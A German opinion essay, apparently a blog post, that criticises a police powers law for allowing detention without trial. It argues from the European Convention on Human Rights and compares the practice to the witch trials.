Die 1950 verabschiedete Kon­ven­tion zum Schutze der Men­schen­rechte und Grund­frei­heiten nimmt einerseits Bezug auf die schon existierende Deklaration der Menschenrechte und erweitert diese um die Grundfreiheiten.

Diese drei Texte sind aber wertlos, wenn sie einfach ignoriert werden. Würde und Freiheit eines jeden einzelnen Menschen müssen gewahrt werden. Es ist der Schutz vor willkürlicher Hexenverfolgung. Das grundlegende Prinzip, dass die Freiheit eines Menschen nur rechtmässig entzogen werden kann, setzt Recht.

Klar ist, dass die Verurteilung den Freiheitsentzug gestattet. Verurteilung beinhaltet hier aber ganz klar die Regeln eines gerechten Verfahrens. Ein Konjunktiv mit „hätten eine Straftat“ begangen ist keine Verurteilung. Dieser Konjunktiv ist allenfalls eine Anklage.

In der EMRK gibt es Ausnahmen des Freiheitsentzuges ohne Urteil oder Verfahren, die Kranke, Landstreicher und Minderjährige betreffen. Die andere Ausnahme ist die illegale Einreise oder, und da sind wir aber wieder bei einem ordentlichen Verfahren wenn auch nicht im Inland sondern im Ausland, des Auslieferungsverfahren.

Unabhängig davon ist den Menschen, deren Freiheit entzogen wird “ unverzüglich in ein­er ihr verständ­lichen Sprache mit­geteilt wer­den, welch­es die Gründe für ihre Fes­t­nahme sind und welche Beschuldigun­gen gegen sie erhoben wer­den.“

Ein Polizeiaufgabengesetz betreibt nun nichts juristisches, sondern beschreibt die Aufgaben einer Polizei in diesem System. Ist die Herstellung von Sicherheit oder die Ermittlungsarbeit beendet, dann beginnt das Rechtssystem. Ein Unrechtssystem oder Polizeistaat entsteht dann, wenn plötzlich die Polizei den Freiheitsentzug ohne Rechtssystem in der eigenen Hand hat.

Die Beschuldigung die unverzüglich mitzuteilen ist, ist unter Umständen auch der Grund für einen längeren Freiheitsentzug. Bei Mord ist dieser Freiheitsentzug unter Umständen lebenslang ab diesem Moment, aber das gilt ab dem Moment der Verurteilung und somit ist die Anklage notwendig. Damit geht der Freiheitsentzug in das ordentliche Verfahren über. „Hätten eine Straftat“ begangen ist nichts von dem.

Auch die illegale Einreise ist ein ausserhalb des Polizeiaufgabengesetzes, um die Illegalität festzustellen, bedarf es auch hier eines ordentlichen Verfahrens. Es gibt also auch da keinen Grund die Gewahrsamnahme innerhalb des Polizeiaufgabengesetzes zu halten.

Der einzige Grund sowas in das Polizeiaufgabengesetz zu schreiben ist das Rechtssystem zu unterlaufen. Die Polizei wird mit Hilfe von Richtern zum Vollzug ohne Verfahren ermächtigt.

Genau das hat man auch gemacht als die Hexenprozesse stattfanden. Eigentlich hatten die Formulierer der Menschenrechte, der Grundrechte und der Konvention gehofft, mit den neuen Texten genau das zu verhindern.

Es nützt offensichtlich nichts. Wenn Menschen die Menschenrechte verletzen wollen, tun sie das trotzdem.